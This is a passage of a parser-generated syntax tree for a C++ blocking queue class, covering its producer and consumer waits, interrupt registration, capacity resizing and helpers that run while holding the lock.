(size() != capacity()); })" (identifier) "rc" (=) "=" (call_expression) "full_cv_.Wait(&_lock, [this]() -> bool { return (size() != capacity()); })" (field_expression) "full_cv_.Wait" (identifier) "full_cv_" (.) "." (field_identifier) "Wait" (argument_list) "(&_lock, [this]() -> bool { return (size() != capacity()); })" (() "(" (ERROR) "&_lock, [this]() -> bool" (field_expression) "&_lock, [this]() -> bool" (call_expression) "&_lock, [this]()" (subscript_expression) "&_lock, [this]" (pointer_expression) "&_lock" (&) "&" (identifier) "_lock" (ERROR) "," (,) "," ([) "[" (identifier) "this" (]) "]" (argument_list) "()" (() "(" ()) ")" (->) "->" (field_identifier) "bool" (compound_statement) "{ return (size() != capacity()); }" ({) "{" (return_statement) "return (size() != capacity());" (return) "return" (parenthesized_expression) "(size() != capacity())" (() "(" (binary_expression) "size() != capacity()" (call_expression) "size()" (identifier) "size" (argument_list) "()" (() "(" ()) ")" (!=) "!=" (call_expression) "capacity()" (identifier) "capacity" (argument_list) "()" (() "(" ()) ")" ()) ")" (;) ";" (}) "}" ()) ")" (;) ";" (if_statement) "if (rc.IsOk()) {\n auto k = tail_++ % sz_;\n new (arr_[k]) T(std::forward<Ts>(args)...);\n empty_cv_.NotifyAll();\n _lock.unlock();\n } else {\n empty_cv_.Interrupt();\n }" (if) "if" (parenthesized_expression) "(rc.IsOk())" (() "(" (call_expression) "rc.IsOk()" (field_expression) "rc.IsOk" (identifier) "rc" (.) "." (field_identifier) "IsOk" (argument_list) "()" (() "(" ()) ")" ()) ")" (compound_statement) "{\n auto k = tail_++ % sz_;\n new (arr_[k]) T(std::forward<Ts>(args)...);\n empty_cv_.NotifyAll();\n _lock.unlock();\n }" ({) "{" (declaration) "auto k = tail_++ % sz_;" (storage_class_specifier) "auto" (auto) "auto" (type_identifier) "k" (init_declarator) " = tail_++ % sz_" (identifier) "" (=) "=" (binary_expression) "tail_++ % sz_" (update_expression) "tail_++" (identifier) "tail_" (++) "++" (%) "%" (identifier) "sz_" (;) ";" (declaration) "new (arr_[k]) T(std::forward<Ts>(args)...);" (macro_type_specifier) "new (arr_[k])" (identifier) "new" (() "(" (type_descriptor) "arr_[k]" (type_identifier) "arr_" (abstract_array_declarator) "[k]" ([) "[" (identifier) "k" (]) "]" ()) ")" (function_declarator) "T(std::forward<Ts>(args)" (identifier) "T" (parameter_list) "(std::forward<Ts>(args)" (() "(" (parameter_declaration) "std::forward<Ts>(args" (type_identifier) "std" (ERROR) "::forward<Ts>(" (:) ":" (:) ":" (identifier) "forward" (<) "<" (identifier) "Ts" (>) ">" (() "(" (identifier) "args" ()) ")" (ERROR) "...)" (...) "..." ()) ")" (;) ";" (expression_statement) "empty_cv_.NotifyAll();" (call_expression) "empty_cv_.NotifyAll()" (field_expression) "empty_cv_.NotifyAll" (identifier) "empty_cv_" (.) "." (field_identifier) "NotifyAll" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "_lock.unlock();" (call_expression) "_lock.unlock()" (field_expression) "_lock.unlock" (identifier) "_lock" (.) "." (field_identifier) "unlock" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (else_clause) "else {\n empty_cv_.Interrupt();\n }" (else) "else" (compound_statement) "{\n empty_cv_.Interrupt();\n }" ({) "{" (expression_statement) "empty_cv_.Interrupt();" (call_expression) "empty_cv_.Interrupt()" (field_expression) "empty_cv_.Interrupt" (identifier) "empty_cv_" (.) "." (field_identifier) "Interrupt" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (return_statement) "return rc;" (return) "return" (identifier) "rc" (;) ";" (}) "}" (comment) "// Consumer" (function_definition) "Status PopFront(pointer p) {\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when empty\n Status rc = empty_cv_.Wait(&_lock, [this]() -> bool { return !empty(); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(PopFrontWhileHoldingLock(p, true));\n full_cv_.NotifyAll();\n _lock.unlock();\n } else {\n full_cv_.Interrupt();\n }\n return rc;\n }" (type_identifier) "Status" (function_declarator) "PopFront(pointer p)" (identifier) "PopFront" (parameter_list) "(pointer p)" (() "(" (parameter_declaration) "pointer p" (type_identifier) "pointer" (identifier) "p" ()) ")" (compound_statement) "{\n std::unique_lock<std::mutex> _lock(mux_);\n // Block when empty\n Status rc = empty_cv_.Wait(&_lock, [this]() -> bool { return !empty(); });\n if (rc.IsOk()) {\n RETURN_IF_NOT_OK(PopFrontWhileHoldingLock(p, true));\n full_cv_.NotifyAll();\n _lock.unlock();\n } else {\n full_cv_.Interrupt();\n }\n return rc;\n }" ({) "{" (labeled_statement) "std::unique_lock<std::mutex> _lock(mux_);" (statement_identifier) "std" (ERROR) "::unique_lock<std:" (:) ":" (:) ":" (binary_expression) "unique_lock<std" (identifier) "unique_lock" (<) "<" (identifier) "std" (:) ":" (:) ":" (expression_statement) "mutex> _lock(mux_);" (binary_expression) "mutex> _lock(mux_)" (identifier) "mutex" (>) ">" (call_expression) "_lock(mux_)" (identifier) "_lock" (argument_list) "(mux_)" (() "(" (identifier) "mux_" ()) ")" (;) ";" (comment) "// Block when empty" (declaration) "Status rc = empty_cv_.Wait(&_lock, [this]() -> bool { return !empty(); });" (type_identifier) "Status" (init_declarator) "rc = empty_cv_.Wait(&_lock, [this]() -> bool { return !empty(); })" (identifier) "rc" (=) "=" (call_expression) "empty_cv_.Wait(&_lock, [this]() -> bool { return !empty(); })" (field_expression) "empty_cv_.Wait" (identifier) "empty_cv_" (.) "." (field_identifier) "Wait" (argument_list) "(&_lock, [this]() -> bool { return !empty(); })" (() "(" (ERROR) "&_lock, [this]() -> bool" (field_expression) "&_lock, [this]() -> bool" (call_expression) "&_lock, [this]()" (subscript_expression) "&_lock, [this]" (pointer_expression) "&_lock" (&) "&" (identifier) "_lock" (ERROR) "," (,) "," ([) "[" (identifier) "this" (]) "]" (argument_list) "()" (() "(" ()) ")" (->) "->" (field_identifier) "bool" (compound_statement) "{ return !empty(); }" ({) "{" (return_statement) "return !empty();" (return) "return" (unary_expression) "!empty()" (!) "!" (call_expression) "empty()" (identifier) "empty" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" ()) ")" (;) ";" (if_statement) "if (rc.IsOk()) {\n RETURN_IF_NOT_OK(PopFrontWhileHoldingLock(p, true));\n full_cv_.NotifyAll();\n _lock.unlock();\n } else {\n full_cv_.Interrupt();\n }" (if) "if" (parenthesized_expression) "(rc.IsOk())" (() "(" (call_expression) "rc.IsOk()" (field_expression) "rc.IsOk" (identifier) "rc" (.) "." (field_identifier) "IsOk" (argument_list) "()" (() "(" ()) ")" ()) ")" (compound_statement) "{\n RETURN_IF_NOT_OK(PopFrontWhileHoldingLock(p, true));\n full_cv_.NotifyAll();\n _lock.unlock();\n }" ({) "{" (expression_statement) "RETURN_IF_NOT_OK(PopFrontWhileHoldingLock(p, true));" (call_expression) "RETURN_IF_NOT_OK(PopFrontWhileHoldingLock(p, true))" (identifier) "RETURN_IF_NOT_OK" (argument_list) "(PopFrontWhileHoldingLock(p, true))" (() "(" (call_expression) "PopFrontWhileHoldingLock(p, true)" (identifier) "PopFrontWhileHoldingLock" (argument_list) "(p, true)" (() "(" (identifier) "p" (,) "," (true) "true" ()) ")" ()) ")" (;) ";" (expression_statement) "full_cv_.NotifyAll();" (call_expression) "full_cv_.NotifyAll()" (field_expression) "full_cv_.NotifyAll" (identifier) "full_cv_" (.) "." (field_identifier) "NotifyAll" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "_lock.unlock();" (call_expression) "_lock.unlock()" (field_expression) "_lock.unlock" (identifier) "_lock" (.) "." (field_identifier) "unlock" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (else_clause) "else {\n full_cv_.Interrupt();\n }" (else) "else" (compound_statement) "{\n full_cv_.Interrupt();\n }" ({) "{" (expression_statement) "full_cv_.Interrupt();" (call_expression) "full_cv_.Interrupt()" (field_expression) "full_cv_.Interrupt" (identifier) "full_cv_" (.) "." (field_identifier) "Interrupt" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (return_statement) "return rc;" (return) "return" (identifier) "rc" (;) ";" (}) "}" (function_definition) "Status Register(TaskGroup *vg) {\n Status rc1 = empty_cv_.Register(vg->GetIntrpService());\n Status rc2 = full_cv_.Register(vg->GetIntrpService());\n if (rc1.IsOk()) {\n return rc2;\n } else {\n return rc1;\n }\n }" (type_identifier) "Status" (function_declarator) "Register(TaskGroup *vg)" (identifier) "Register" (parameter_list) "(TaskGroup *vg)" (() "(" (parameter_declaration) "TaskGroup *vg" (type_identifier) "TaskGroup" (pointer_declarator) "*vg" (*) "*" (identifier) "vg" ()) ")" (compound_statement) "{\n Status rc1 = empty_cv_.Register(vg->GetIntrpService());\n Status rc2 = full_cv_.Register(vg->GetIntrpService());\n if (rc1.IsOk()) {\n return rc2;\n } else {\n return rc1;\n }\n }" ({) "{" (declaration) "Status rc1 = empty_cv_.Register(vg->GetIntrpService());" (type_identifier) "Status" (init_declarator) "rc1 = empty_cv_.Register(vg->GetIntrpService())" (identifier) "rc1" (=) "=" (call_expression) "empty_cv_.Register(vg->GetIntrpService())" (field_expression) "empty_cv_.Register" (identifier) "empty_cv_" (.) "." (field_identifier) "Register" (argument_list) "(vg->GetIntrpService())" (() "(" (call_expression) "vg->GetIntrpService()" (field_expression) "vg->GetIntrpService" (identifier) "vg" (->) "->" (field_identifier) "GetIntrpService" (argument_list) "()" (() "(" ()) ")" ()) ")" (;) ";" (declaration) "Status rc2 = full_cv_.Register(vg->GetIntrpService());" (type_identifier) "Status" (init_declarator) "rc2 = full_cv_.Register(vg->GetIntrpService())" (identifier) "rc2" (=) "=" (call_expression) "full_cv_.Register(vg->GetIntrpService())" (field_expression) "full_cv_.Register" (identifier) "full_cv_" (.) "." (field_identifier) "Register" (argument_list) "(vg->GetIntrpService())" (() "(" (call_expression) "vg->GetIntrpService()" (field_expression) "vg->GetIntrpService" (identifier) "vg" (->) "->" (field_identifier) "GetIntrpService" (argument_list) "()" (() "(" ()) ")" ()) ")" (;) ";" (if_statement) "if (rc1.IsOk()) {\n return rc2;\n } else {\n return rc1;\n }" (if) "if" (parenthesized_expression) "(rc1.IsOk())" (() "(" (call_expression) "rc1.IsOk()" (field_expression) "rc1.IsOk" (identifier) "rc1" (.) "." (field_identifier) "IsOk" (argument_list) "()" (() "(" ()) ")" ()) ")" (compound_statement) "{\n return rc2;\n }" ({) "{" (return_statement) "return rc2;" (return) "return" (identifier) "rc2" (;) ";" (}) "}" (else_clause) "else {\n return rc1;\n }" (else) "else" (compound_statement) "{\n return rc1;\n }" ({) "{" (return_statement) "return rc1;" (return) "return" (identifier) "rc1" (;) ";" (}) "}" (}) "}" (function_definition) "Status Resize(int32_t new_capacity) {\n std::unique_lock<std::mutex> _lock(mux_);\n CHECK_FAIL_RETURN_UNEXPECTED(new_capacity > 0,\n "New capacity: " + std::to_string(new_capacity) + ", should be larger than 0");\n RETURN_OK_IF_TRUE(new_capacity == capacity());\n std::vector<T> queue;\n // pop from the original queue until the new_capacity is full\n for (int32_t i = 0; i < new_capacity; ++i) {\n if (head_ < tail_) {\n // if there are elements left in queue, pop out\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, true));\n queue.push_back(temp);\n } else {\n // if there is nothing left in queue, check extra_arr_\n if (!extra_arr_.empty()) {\n // if extra_arr_ is not empty, push to fill the new_capacity\n queue.push_back(extra_arr_[0]);\n extra_arr_.erase(extra_arr_.begin());\n } else {\n // if everything in the queue and extra_arr_ is popped out, break the loop\n break;\n }\n }\n }\n // if there are extra elements in queue, put them to extra_arr_\n while (head_ < tail_) {\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, false));\n extra_arr_.push_back(temp);\n }\n this->ResetQue();\n RETURN_IF_NOT_OK(arr_.allocate(new_capacity));\n sz_ = new_capacity;\n for (int32_t i = 0; i < queue.size(); ++i) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(queue[i]));\n }\n queue.clear();\n _lock.unlock();\n return Status::OK();\n }" (type_identifier) "Status" (function_declarator) "Resize(int32_t new_capacity)" (identifier) "Resize" (parameter_list) "(int32_t new_capacity)" (() "(" (parameter_declaration) "int32_t new_capacity" (primitive_type) "int32_t" (identifier) "new_capacity" ()) ")" (compound_statement) "{\n std::unique_lock<std::mutex> _lock(mux_);\n CHECK_FAIL_RETURN_UNEXPECTED(new_capacity > 0,\n "New capacity: " + std::to_string(new_capacity) + ", should be larger than 0");\n RETURN_OK_IF_TRUE(new_capacity == capacity());\n std::vector<T> queue;\n // pop from the original queue until the new_capacity is full\n for (int32_t i = 0; i < new_capacity; ++i) {\n if (head_ < tail_) {\n // if there are elements left in queue, pop out\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, true));\n queue.push_back(temp);\n } else {\n // if there is nothing left in queue, check extra_arr_\n if (!extra_arr_.empty()) {\n // if extra_arr_ is not empty, push to fill the new_capacity\n queue.push_back(extra_arr_[0]);\n extra_arr_.erase(extra_arr_.begin());\n } else {\n // if everything in the queue and extra_arr_ is popped out, break the loop\n break;\n }\n }\n }\n // if there are extra elements in queue, put them to extra_arr_\n while (head_ < tail_) {\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, false));\n extra_arr_.push_back(temp);\n }\n this->ResetQue();\n RETURN_IF_NOT_OK(arr_.allocate(new_capacity));\n sz_ = new_capacity;\n for (int32_t i = 0; i < queue.size(); ++i) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(queue[i]));\n }\n queue.clear();\n _lock.unlock();\n return Status::OK();\n }" ({) "{" (labeled_statement) "std::unique_lock<std::mutex> _lock(mux_);" (statement_identifier) "std" (ERROR) "::unique_lock<std:" (:) ":" (:) ":" (binary_expression) "unique_lock<std" (identifier) "unique_lock" (<) "<" (identifier) "std" (:) ":" (:) ":" (expression_statement) "mutex> _lock(mux_);" (binary_expression) "mutex> _lock(mux_)" (identifier) "mutex" (>) ">" (call_expression) "_lock(mux_)" (identifier) "_lock" (argument_list) "(mux_)" (() "(" (identifier) "mux_" ()) ")" (;) ";" (expression_statement) "CHECK_FAIL_RETURN_UNEXPECTED(new_capacity > 0,\n "New capacity: " + std::to_string(new_capacity) + ", should be larger than 0");" (call_expression) "CHECK_FAIL_RETURN_UNEXPECTED(new_capacity > 0,\n "New capacity: " + std::to_string(new_capacity) + ", should be larger than 0")" (identifier) "CHECK_FAIL_RETURN_UNEXPECTED" (argument_list) "(new_capacity > 0,\n "New capacity: " + std::to_string(new_capacity) + ", should be larger than 0")" (() "(" (binary_expression) "new_capacity > 0" (identifier) "new_capacity" (>) ">" (number_literal) "0" (,) "," (ERROR) ""New capacity: " + std::" (binary_expression) ""New capacity: " + std" (string_literal) ""New capacity: "" (") """ (string_content) "New capacity: " (") """ (+) "+" (identifier) "std" (:) ":" (:) ":" (binary_expression) "to_string(new_capacity) + ", should be larger than 0"" (call_expression) "to_string(new_capacity)" (identifier) "to_string" (argument_list) "(new_capacity)" (() "(" (identifier) "new_capacity" ()) ")" (+) "+" (string_literal) "", should be larger than 0"" (") """ (string_content) ", should be larger than 0" (") """ ()) ")" (;) ";" (expression_statement) "RETURN_OK_IF_TRUE(new_capacity == capacity());" (call_expression) "RETURN_OK_IF_TRUE(new_capacity == capacity())" (identifier) "RETURN_OK_IF_TRUE" (argument_list) "(new_capacity == capacity())" (() "(" (binary_expression) "new_capacity == capacity()" (identifier) "new_capacity" (==) "==" (call_expression) "capacity()" (identifier) "capacity" (argument_list) "()" (() "(" ()) ")" ()) ")" (;) ";" (labeled_statement) "std::vector<T> queue;" (statement_identifier) "std" (:) ":" (ERROR) ":" (:) ":" (expression_statement) "vector<T> queue;" (binary_expression) "vector<T> queue" (binary_expression) "vector<T" (identifier) "vector" (<) "<" (identifier) "T" (>) ">" (identifier) "queue" (;) ";" (comment) "// pop from the original queue until the new_capacity is full" (for_statement) "for (int32_t i = 0; i < new_capacity; ++i) {\n if (head_ < tail_) {\n // if there are elements left in queue, pop out\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, true));\n queue.push_back(temp);\n } else {\n // if there is nothing left in queue, check extra_arr_\n if (!extra_arr_.empty()) {\n // if extra_arr_ is not empty, push to fill the new_capacity\n queue.push_back(extra_arr_[0]);\n extra_arr_.erase(extra_arr_.begin());\n } else {\n // if everything in the queue and extra_arr_ is popped out, break the loop\n break;\n }\n }\n }" (for) "for" (() "(" (declaration) "int32_t i = 0;" (primitive_type) "int32_t" (init_declarator) "i = 0" (identifier) "i" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "i < new_capacity" (identifier) "i" (<) "<" (identifier) "new_capacity" (;) ";" (update_expression) "++i" (++) "++" (identifier) "i" ()) ")" (compound_statement) "{\n if (head_ < tail_) {\n // if there are elements left in queue, pop out\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, true));\n queue.push_back(temp);\n } else {\n // if there is nothing left in queue, check extra_arr_\n if (!extra_arr_.empty()) {\n // if extra_arr_ is not empty, push to fill the new_capacity\n queue.push_back(extra_arr_[0]);\n extra_arr_.erase(extra_arr_.begin());\n } else {\n // if everything in the queue and extra_arr_ is popped out, break the loop\n break;\n }\n }\n }" ({) "{" (if_statement) "if (head_ < tail_) {\n // if there are elements left in queue, pop out\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, true));\n queue.push_back(temp);\n } else {\n // if there is nothing left in queue, check extra_arr_\n if (!extra_arr_.empty()) {\n // if extra_arr_ is not empty, push to fill the new_capacity\n queue.push_back(extra_arr_[0]);\n extra_arr_.erase(extra_arr_.begin());\n } else {\n // if everything in the queue and extra_arr_ is popped out, break the loop\n break;\n }\n }" (if) "if" (parenthesized_expression) "(head_ < tail_)" (() "(" (binary_expression) "head_ < tail_" (identifier) "head_" (<) "<" (identifier) "tail_" ()) ")" (compound_statement) "{\n // if there are elements left in queue, pop out\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, true));\n queue.push_back(temp);\n }" ({) "{" (comment) "// if there are elements left in queue, pop out" (declaration) "T temp;" (type_identifier) "T" (identifier) "temp" (;) ";" (expression_statement) "RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, true));" (call_expression) "RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, true))" (identifier) "RETURN_IF_NOT_OK" (argument_list) "(this->PopFrontWhileHoldingLock(&temp, true))" (() "(" (call_expression) "this->PopFrontWhileHoldingLock(&temp, true)" (field_expression) "this->PopFrontWhileHoldingLock" (identifier) "this" (->) "->" (field_identifier) "PopFrontWhileHoldingLock" (argument_list) "(&temp, true)" (() "(" (pointer_expression) "&temp" (&) "&" (identifier) "temp" (,) "," (true) "true" ()) ")" ()) ")" (;) ";" (expression_statement) "queue.push_back(temp);" (call_expression) "queue.push_back(temp)" (field_expression) "queue.push_back" (identifier) "queue" (.) "." (field_identifier) "push_back" (argument_list) "(temp)" (() "(" (identifier) "temp" ()) ")" (;) ";" (}) "}" (else_clause) "else {\n // if there is nothing left in queue, check extra_arr_\n if (!extra_arr_.empty()) {\n // if extra_arr_ is not empty, push to fill the new_capacity\n queue.push_back(extra_arr_[0]);\n extra_arr_.erase(extra_arr_.begin());\n } else {\n // if everything in the queue and extra_arr_ is popped out, break the loop\n break;\n }\n }" (else) "else" (compound_statement) "{\n // if there is nothing left in queue, check extra_arr_\n if (!extra_arr_.empty()) {\n // if extra_arr_ is not empty, push to fill the new_capacity\n queue.push_back(extra_arr_[0]);\n extra_arr_.erase(extra_arr_.begin());\n } else {\n // if everything in the queue and extra_arr_ is popped out, break the loop\n break;\n }\n }" ({) "{" (comment) "// if there is nothing left in queue, check extra_arr_" (if_statement) "if (!extra_arr_.empty()) {\n // if extra_arr_ is not empty, push to fill the new_capacity\n queue.push_back(extra_arr_[0]);\n extra_arr_.erase(extra_arr_.begin());\n } else {\n // if everything in the queue and extra_arr_ is popped out, break the loop\n break;\n }" (if) "if" (parenthesized_expression) "(!extra_arr_.empty())" (() "(" (unary_expression) "!extra_arr_.empty()" (!) "!" (call_expression) "extra_arr_.empty()" (field_expression) "extra_arr_.empty" (identifier) "extra_arr_" (.) "." (field_identifier) "empty" (argument_list) "()" (() "(" ()) ")" ()) ")" (compound_statement) "{\n // if extra_arr_ is not empty, push to fill the new_capacity\n queue.push_back(extra_arr_[0]);\n extra_arr_.erase(extra_arr_.begin());\n }" ({) "{" (comment) "// if extra_arr_ is not empty, push to fill the new_capacity" (expression_statement) "queue.push_back(extra_arr_[0]);" (call_expression) "queue.push_back(extra_arr_[0])" (field_expression) "queue.push_back" (identifier) "queue" (.) "." (field_identifier) "push_back" (argument_list) "(extra_arr_[0])" (() "(" (subscript_expression) "extra_arr_[0]" (identifier) "extra_arr_" ([) "[" (number_literal) "0" (]) "]" ()) ")" (;) ";" (expression_statement) "extra_arr_.erase(extra_arr_.begin());" (call_expression) "extra_arr_.erase(extra_arr_.begin())" (field_expression) "extra_arr_.erase" (identifier) "extra_arr_" (.) "." (field_identifier) "erase" (argument_list) "(extra_arr_.begin())" (() "(" (call_expression) "extra_arr_.begin()" (field_expression) "extra_arr_.begin" (identifier) "extra_arr_" (.) "." (field_identifier) "begin" (argument_list) "()" (() "(" ()) ")" ()) ")" (;) ";" (}) "}" (else_clause) "else {\n // if everything in the queue and extra_arr_ is popped out, break the loop\n break;\n }" (else) "else" (compound_statement) "{\n // if everything in the queue and extra_arr_ is popped out, break the loop\n break;\n }" ({) "{" (comment) "// if everything in the queue and extra_arr_ is popped out, break the loop" (break_statement) "break;" (break) "break" (;) ";" (}) "}" (}) "}" (}) "}" (comment) "// if there are extra elements in queue, put them to extra_arr_" (while_statement) "while (head_ < tail_) {\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, false));\n extra_arr_.push_back(temp);\n }" (while) "while" (parenthesized_expression) "(head_ < tail_)" (() "(" (binary_expression) "head_ < tail_" (identifier) "head_" (<) "<" (identifier) "tail_" ()) ")" (compound_statement) "{\n T temp;\n RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, false));\n extra_arr_.push_back(temp);\n }" ({) "{" (declaration) "T temp;" (type_identifier) "T" (identifier) "temp" (;) ";" (expression_statement) "RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, false));" (call_expression) "RETURN_IF_NOT_OK(this->PopFrontWhileHoldingLock(&temp, false))" (identifier) "RETURN_IF_NOT_OK" (argument_list) "(this->PopFrontWhileHoldingLock(&temp, false))" (() "(" (call_expression) "this->PopFrontWhileHoldingLock(&temp, false)" (field_expression) "this->PopFrontWhileHoldingLock" (identifier) "this" (->) "->" (field_identifier) "PopFrontWhileHoldingLock" (argument_list) "(&temp, false)" (() "(" (pointer_expression) "&temp" (&) "&" (identifier) "temp" (,) "," (false) "false" ()) ")" ()) ")" (;) ";" (expression_statement) "extra_arr_.push_back(temp);" (call_expression) "extra_arr_.push_back(temp)" (field_expression) "extra_arr_.push_back" (identifier) "extra_arr_" (.) "." (field_identifier) "push_back" (argument_list) "(temp)" (() "(" (identifier) "temp" ()) ")" (;) ";" (}) "}" (expression_statement) "this->ResetQue();" (call_expression) "this->ResetQue()" (field_expression) "this->ResetQue" (identifier) "this" (->) "->" (field_identifier) "ResetQue" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "RETURN_IF_NOT_OK(arr_.allocate(new_capacity));" (call_expression) "RETURN_IF_NOT_OK(arr_.allocate(new_capacity))" (identifier) "RETURN_IF_NOT_OK" (argument_list) "(arr_.allocate(new_capacity))" (() "(" (call_expression) "arr_.allocate(new_capacity)" (field_expression) "arr_.allocate" (identifier) "arr_" (.) "." (field_identifier) "allocate" (argument_list) "(new_capacity)" (() "(" (identifier) "new_capacity" ()) ")" ()) ")" (;) ";" (expression_statement) "sz_ = new_capacity;" (assignment_expression) "sz_ = new_capacity" (identifier) "sz_" (=) "=" (identifier) "new_capacity" (;) ";" (for_statement) "for (int32_t i = 0; i < queue.size(); ++i) {\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(queue[i]));\n }" (for) "for" (() "(" (declaration) "int32_t i = 0;" (primitive_type) "int32_t" (init_declarator) "i = 0" (identifier) "i" (=) "=" (number_literal) "0" (;) ";" (binary_expression) "i < queue.size()" (identifier) "i" (<) "<" (call_expression) "queue.size()" (field_expression) "queue.size" (identifier) "queue" (.) "." (field_identifier) "size" (argument_list) "()" (() "(" ()) ")" (;) ";" (update_expression) "++i" (++) "++" (identifier) "i" ()) ")" (compound_statement) "{\n RETURN_IF_NOT_OK(this->AddWhileHoldingLock(queue[i]));\n }" ({) "{" (expression_statement) "RETURN_IF_NOT_OK(this->AddWhileHoldingLock(queue[i]));" (call_expression) "RETURN_IF_NOT_OK(this->AddWhileHoldingLock(queue[i]))" (identifier) "RETURN_IF_NOT_OK" (argument_list) "(this->AddWhileHoldingLock(queue[i]))" (() "(" (call_expression) "this->AddWhileHoldingLock(queue[i])" (field_expression) "this->AddWhileHoldingLock" (identifier) "this" (->) "->" (field_identifier) "AddWhileHoldingLock" (argument_list) "(queue[i])" (() "(" (subscript_expression) "queue[i]" (identifier) "queue" ([) "[" (identifier) "i" (]) "]" ()) ")" ()) ")" (;) ";" (}) "}" (expression_statement) "queue.clear();" (call_expression) "queue.clear()" (field_expression) "queue.clear" (identifier) "queue" (.) "." (field_identifier) "clear" (argument_list) "()" (() "(" ()) ")" (;) ";" (expression_statement) "_lock.unlock();" (call_expression) "_lock.unlock()" (field_expression) "_lock.unlock" (identifier) "_lock" (.) "." (field_identifier) "unlock" (argument_list) "()" (() "(" ()) ")" (;) ";" (return_statement) "return Status::OK();" (return) "return" (ERROR) "Status::" (identifier) "Status" (:) ":" (:) ":" (call_expression) "OK()" (identifier) "OK" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (labeled_statement) "private:\n size_t sz_;" (statement_identifier) "private" (:) ":" (declaration) "size_t sz_;" (primitive_type) "size_t" (identifier) "sz_" (;) ";" (expression_statement) "MemGuard<T, Allocator<T>> arr_;" (comma_expression) "MemGuard<T, Allocator<T>> arr_" (binary_expression) "MemGuard<T" (identifier) "MemGuard" (<) "<" (identifier) "T" (,) "," (binary_expression) "Allocator<T>> arr_" (identifier) "Allocator" (<) "<" (binary_expression) "T>> arr_" (identifier) "T" (>>) ">>" (identifier) "arr_" (;) ";" (labeled_statement) "std::vector<T> extra_arr_;" (statement_identifier) "std" (:) ":" (ERROR) ":" (:) ":" (expression_statement) "vector<T> extra_arr_;" (binary_expression) "vector<T> extra_arr_" (binary_expression) "vector<T" (identifier) "vector" (<) "<" (identifier) "T" (>) ">" (identifier) "extra_arr_" (;) ";" (comment) "// used to store extra elements after reducing capacity, will not be changed by Add," (comment) "// will pop when there is a space in queue (by PopFront or Resize)" (declaration) "size_t head_;" (primitive_type) "size_t" (identifier) "head_" (;) ";" (declaration) "size_t tail_;" (primitive_type) "size_t" (identifier) "tail_" (;) ";" (labeled_statement) "std::string my_name_;" (statement_identifier) "std" (:) ":" (ERROR) ":" (:) ":" (declaration) "string my_name_;" (type_identifier) "string" (identifier) "my_name_" (;) ";" (labeled_statement) "std::mutex mux_;" (statement_identifier) "std" (:) ":" (ERROR) ":" (:) ":" (declaration) "mutex mux_;" (type_identifier) "mutex" (identifier) "mux_" (;) ";" (declaration) "CondVar empty_cv_;" (type_identifier) "CondVar" (identifier) "empty_cv_" (;) ";" (declaration) "CondVar full_cv_;" (type_identifier) "CondVar" (identifier) "full_cv_" (;) ";" (comment) "// Helper function for Add, must be called when holding a lock" (function_definition) "Status AddWhileHoldingLock(const_reference ele) {\n auto k = tail_++ % sz_;\n *(arr_[k]) = ele;\n return Status::OK();\n }" (type_identifier) "Status" (function_declarator) "AddWhileHoldingLock(const_reference ele)" (identifier) "AddWhileHoldingLock" (parameter_list) "(const_reference ele)" (() "(" (parameter_declaration) "const_reference ele" (type_identifier) "const_reference" (identifier) "ele" ()) ")" (compound_statement) "{\n auto k = tail_++ % sz_;\n *(arr_[k]) = ele;\n return Status::OK();\n }" ({) "{" (declaration) "auto k = tail_++ % sz_;" (storage_class_specifier) "auto" (auto) "auto" (type_identifier) "k" (init_declarator) " = tail_++ % sz_" (identifier) "" (=) "=" (binary_expression) "tail_++ % sz_" (update_expression) "tail_++" (identifier) "tail_" (++) "++" (%) "%" (identifier) "sz_" (;) ";" (expression_statement) "*(arr_[k]) = ele;" (assignment_expression) "*(arr_[k]) = ele" (pointer_expression) "*(arr_[k])" (*) "*" (parenthesized_expression) "(arr_[k])" (() "(" (subscript_expression) "arr_[k]" (identifier) "arr_" ([) "[" (identifier) "k" (]) "]" ()) ")" (=) "=" (identifier) "ele" (;) ";" (return_statement) "return Status::OK();" (return) "return" (ERROR) "Status::" (identifier) "Status" (:) ":" (:) ":" (call_expression) "OK()" (identifier) "OK" (argument_list) "()" (() "(" ()) ")" (;) ";" (}) "}" (comment) "// Helper function for Add, must be called when holding a lock" (function_definition) "Status AddWhileHoldingLock(T &&ele) {\n auto k = tail_++ % sz_;\n *(arr_[k]) = std::forward<T>(ele);\n return Status::OK();\n }" (type_identifier) "Status" (function_declarator) "AddWhileHoldingLock(T &&ele)" (identifier) "AddWhileHoldingLock" (parameter_list) "(T &&ele)" (() "(" (parameter_declaration) "T &&ele" (type_identifier) "T" (ERROR) "&&" (&&) "&&" (identifier) "ele" ()) ")" (compound_statement) "{\n auto k = tail_++ % sz_;\n *(arr_[k]) = std::forward<T>(ele);\n return Status::OK();\n }" ({) "{" (declaration) "auto k = tail_++ % 